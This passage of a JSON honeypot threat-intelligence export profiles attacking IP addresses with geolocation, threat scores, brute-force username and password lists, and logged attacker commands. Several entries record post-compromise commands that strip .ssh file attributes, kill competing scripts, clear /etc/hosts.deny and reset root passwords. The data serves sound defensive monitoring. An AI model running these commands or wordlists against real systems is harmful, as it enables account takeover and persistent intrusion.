        "first_seen_30d": "2026-05-02T03:11:44+00:00",
        "last_seen_30d": "2026-05-31T18:49:31.992000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 37,
        "Cowrie": 2
      }
    },
    "210.212.28.133": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:08:13.210Z",
      "last_seen": "2026-05-02T04:08:38.814Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rourkela",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:08:13.210000+00:00",
        "last_seen_30d": "2026-05-02T04:09:50.097000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.162.231.62": {
      "attack_count": 2,
      "first_seen": "2026-05-11T19:16:23.977Z",
      "last_seen": "2026-05-11T19:16:37.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagasaki",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:16:23.977000+00:00",
        "last_seen_30d": "2026-05-11T19:17:40.724000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.130.211.105": {
      "attack_count": 2,
      "first_seen": "2026-05-12T14:37:37.386Z",
      "last_seen": "2026-05-12T14:37:50.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T14:37:37.386000+00:00",
        "last_seen_30d": "2026-05-12T14:38:57.626000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.194.67.144": {
      "attack_count": 2,
      "first_seen": "2026-05-18T05:44:54.769Z",
      "last_seen": "2026-05-18T05:45:07.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 31200,
      "as_org": "Novotelecom Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:44:54.769000+00:00",
        "last_seen_30d": "2026-05-18T05:46:13.353000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.212.34.62": {
      "attack_count": 2,
      "first_seen": "2026-05-27T07:47:12.273Z",
      "last_seen": "2026-05-27T07:47:25.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Vitebsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:47:12.273000+00:00",
        "last_seen_30d": "2026-05-27T07:48:31.011000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.36.220.184": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:35:17.717Z",
      "last_seen": "2026-05-05T05:35:30.821Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:35:17.717000+00:00",
        "last_seen_30d": "2026-05-05T05:36:33.696000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.102.156.12": {
      "attack_count": 2,
      "first_seen": "2026-05-31T03:23:30.773Z",
      "last_seen": "2026-05-31T03:23:44.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan",
      "asn": 131596,
      "as_org": "TBC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T03:23:30.773000+00:00",
        "last_seen_30d": "2026-05-31T03:24:46.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.174.63.130": {
      "attack_count": 2,
      "first_seen": "2026-05-16T20:29:25.486Z",
      "last_seen": "2026-05-16T20:31:25.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Odintsovo",
      "asn": 47119,
      "as_org": "JSC Ufanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:29:25.486000+00:00",
        "last_seen_30d": "2026-05-16T20:41:35.346000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.55.224.44": {
      "attack_count": 2,
      "first_seen": "2026-05-14T06:48:40.423Z",
      "last_seen": "2026-05-14T06:48:40.425Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T06:48:40.423000+00:00",
        "last_seen_30d": "2026-05-14T06:49:47.093000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.222.233.13": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:41:01.394Z",
      "last_seen": "2026-05-19T23:41:32.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:41:01.394000+00:00",
        "last_seen_30d": "2026-05-19T23:42:41.901000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "86.108.20.67": {
      "attack_count": 2,
      "first_seen": "2026-05-27T04:53:10.338Z",
      "last_seen": "2026-05-27T04:53:22.413Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 8376,
      "as_org": "Jordan Data Communications Company LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:53:10.338000+00:00",
        "last_seen_30d": "2026-05-27T04:54:31.866000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.84": {
      "attack_count": 2,
      "first_seen": "2026-05-13T08:27:23.175Z",
      "last_seen": "2026-05-13T08:27:33.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 23,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T09:13:41+00:00",
        "last_seen_30d": "2026-05-29T04:01:29.301000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 23,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "45.156.87.204": {
      "attack_count": 3035,
      "first_seen": "2026-05-24T00:27:07.338Z",
      "last_seen": "2026-05-24T01:12:40.347Z",
      "sessions": 607,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "steam",
        "oracle",
        "postgres",
        "frappe",
        "hadoop",
        "app",
        "es",
        "git",
        "guest",
        "student",
        "bot",
        "developer"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "1qaz@WSX",
        "12345",
        "12345678",
        "123456789",
        "abc123",
        "1111",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111",
        "111111",
        "123123",
        "Aa123456"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4242,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:27:07.338000+00:00",
        "last_seen_30d": "2026-05-24T01:13:45.236000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3035,
        "Suricata": 1207
      }
    },
    "20.203.42.204": {
      "attack_count": 2352,
      "first_seen": "2026-05-02T04:49:17.131Z",
      "last_seen": "2026-05-30T20:38:09.717Z",
      "sessions": 295,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "david",
        "steam",
        "guest",
        "test",
        "tester",
        "testuser",
        "amir",
        "dbuser",
        "elsearch",
        "ftpuser",
        "john",
        "keith",
        "oracle",
        "postgres",
        "tech"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345",
        "password",
        "123!@#qweQWE",
        "12345678",
        "123456AA",
        "222",
        "22222222",
        "4444",
        "Abcd=1234",
        "L8GnGhXyKUEF",
        "P4$$w0rd$",
        "P@ssw0rd",
        "abc123..",
        "abcABC123!@#",
        "admin",
        "david2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nICiGYGDXEwzR\\nICiGYGDXEwzR\\n\"|passwd",
        "echo \"123456\\nUPoH1nHdBfg3\\nUPoH1nHdBfg3\\n\"|passwd",
        "echo \"222222\\n4xRbN0b28Rjq\\n4xRbN0b28Rjq\\n\"|passwd",
        "echo \"54\\nUczZw69E6Qm0\\nUczZw69E6Qm0\\n\"|passwd",
        "echo \"Aa123456\\nJ2oQWoldhbxf\\nJ2oQWoldhbxf\\n\"|passwd",
        "echo \"asdf1234\\nJ1YFPLu5MrE2\\nJ1YFPLu5MrE2\\n\"|passwd",
        "echo \"oracle2024\\ngVNTLeqMi7YL\\ngVNTLeqMi7YL\\n\"|passwd",
        "echo \"root:2AwDkyzPHmH2\"|chpasswd|bash",
        "echo \"root:BT8XdKKxg3lm\"|chpasswd|bash",
        "echo \"root:Hk1Wy43acQVe\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3040,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:49:17.131000+00:00",
        "last_seen_30d": "2026-05-30T20:39:19.500000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2352,
        "Suricata": 688
      }
    },
    "27.111.32.174": {
      "attack_count": 1114,
      "first_seen": "2026-05-04T10:18:34.196Z",
      "last_seen": "2026-05-27T08:32:18.237Z",
      "sessions": 106,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "postgres",
        "cloud",
        "csserver",
        "lars",
        "systemd",
        "user",
        "Ubuntu",
        "administrator",
        "amin",
        "appadmin",
        "curl",
        "debian",
        "developer",
        "es",
        "ftpuser",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "20192019",
        "abc123!",
        "fjbdfdjkdsfs541544AA@@",
        "pass",
        "warnightkardesim",
        "!@#qweasd",
        "!QAZ2wsx",
        "1",
        "111",
        "12341234",
        "1234567",
        "123456789**",
        "123456789Aa",
        "123asd123",
        "123qwe",
        "336699"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\ntxebjJXJfj1u\\ntxebjJXJfj1u\\n\"|passwd",
        "echo \"Wangsu@2017\\nsv7cv37vGZBB\\nsv7cv37vGZBB\\n\"|passwd",
        "echo \"lars\\nYUDkSOVZ5AVy\\nYUDkSOVZ5AVy\\n\"|passwd",
        "echo \"password\\ndmTgHnxeDwnX\\ndmTgHnxeDwnX\\n\"|passwd",
        "echo \"root:EhfR3o2cKERj\"|chpasswd|bash",
        "echo \"root:L1HREnfehJwJ\"|chpasswd|bash",
        "echo \"root:WFVap3u7NNEA\"|chpasswd|bash",
        "echo \"root:f18KlzFR4bkf\"|chpasswd|bash",
        "echo \"root:jwkSwL0ScgwL\"|chpasswd|bash",
        "echo \"root:yaAcYwhTTjT4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 24532,
      "as_org": "PT. Inet Global Indo",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1354,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:18:34.196000+00:00",
        "last_seen_30d": "2026-05-27T08:33:27.277000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1114,
        "Suricata": 240
      }
    },
    "81.9.145.130": {
      "attack_count": 572,
      "first_seen": "2026-05-27T22:45:54.588Z",
      "last_seen": "2026-05-27T23:31:56.521Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dong",
        "s1",
        "admin",
        "erpnext",
        "guest",
        "harshit",
        "hydra",
        "kevin",
        "solar",
        "testuser",
        "webuser",
        "xray"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "@1qaz2wsx",
        "Qwer@4321",
        "Root2026!",
        "dasha",
        "dong",
        "fjbdfdjkdsfs541544",
        "harshit",
        "hydra",
        "root",
        "s1",
        "solar",
        "test@123",
        "webuser123",
        "xray"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"dong\\n2lcYcMOzsyf8\\n2lcYcMOzsyf8\\n\"|passwd",
        "echo \"dong\\nzTTMSCZzQz3W\\nzTTMSCZzQz3W\\n\"|passwd",
        "echo \"root:E25tDJWTiFtS\"|chpasswd|bash",
        "echo \"root:Epre1fA6P7yw\"|chpasswd|bash",
        "echo \"s1\\nesqKYPuGFNFw\\nesqKYPuGFNFw\\n\"|passwd",
        "echo \"s1\\nm1Z6fziPLPaw\\nm1Z6fziPLPaw\\n\"|passwd",
        "echo -e \"dong\\n2lcYcMOzsyf8\\n2lcYcMOzsyf8\"|passwd|bash",
        "echo -e \"dong\\nzTTMSCZzQz3W\\nzTTMSCZzQz3W\"|passwd|bash",
        "echo -e \"s1\\nesqKYPuGFNFw\\nesqKYPuGFNFw\"|passwd|bash",
        "echo -e \"s1\\nm1Z6fziPLPaw\\nm1Z6fziPLPaw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barakaldo",
      "asn": 12338,
      "as_org": "Euskaltel S.A.",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 667,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:45:54.588000+00:00",
        "last_seen_30d": "2026-05-27T23:33:05.862000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 572,
        "Suricata": 95
      }
    },
    "119.118.230.6": {
      "attack_count": 298,
      "first_seen": "2026-05-26T06:13:22.659Z",
      "last_seen": "2026-05-26T06:19:21.878Z",
      "sessions": 149,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T06:13:22.659000+00:00",
        "last_seen_30d": "2026-05-26T06:20:23.604000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 298,
        "Suricata": 150
      }
    },
    "175.45.200.78": {
      "attack_count": 291,
      "first_seen": "2026-05-27T08:05:45.521Z",
      "last_seen": "2026-05-27T08:37:00.282Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "liming",
        "systemd",
        "bot",
        "moon",
        "patrol",
        "remote",
        "sahil",
        "test_user",
        "ubuntu",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Ly123456",
        "P@ssw0rd123",
        "P@ssword123!@#",
        "Root1",
        "U&I*o9p0",
        "Voidsetdownload.so",
        "Xl123456",
        "bgj948888",
        "fjbdfdjkdsfs541544AA@@",
        "heslo",
        "liming",
        "patrol123",
        "sahil",
        "secret",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\n5ysvZ4yDypku\\n5ysvZ4yDypku\\n\"|passwd",
        "echo \"liming\\nZf4itCqpseTG\\nZf4itCqpseTG\\n\"|passwd",
        "echo \"root:Dkci3NmH3DhC\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\n5ysvZ4yDypku\\n5ysvZ4yDypku\"|passwd|bash",
        "echo -e \"liming\\nZf4itCqpseTG\\nZf4itCqpseTG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 135354,
      "as_org": "NAVER BUSINESS PLATFORM ASIA PACIFIC PTE. LTD.",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T08:05:45.521000+00:00",
        "last_seen_30d": "2026-05-27T08:38:07.951000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 291,
        "Suricata": 52
      }
    },
    "176.65.139.220": {
      "attack_count": 249,
      "first_seen": "2026-05-26T10:01:23.051Z",
      "last_seen": "2026-05-27T19:22:55.990Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "default",
        "e8ehome",
        "ftp",
        "hikvision",
        "pi",
        "postgres",
        "service",
        "supportadmin",
        "test",
        "ubnt",
        "ubuntu",
        "support"
      ],
      "passwords_attempted": [
        "",
        "password",
        "root",
        "admin",
        "1234",
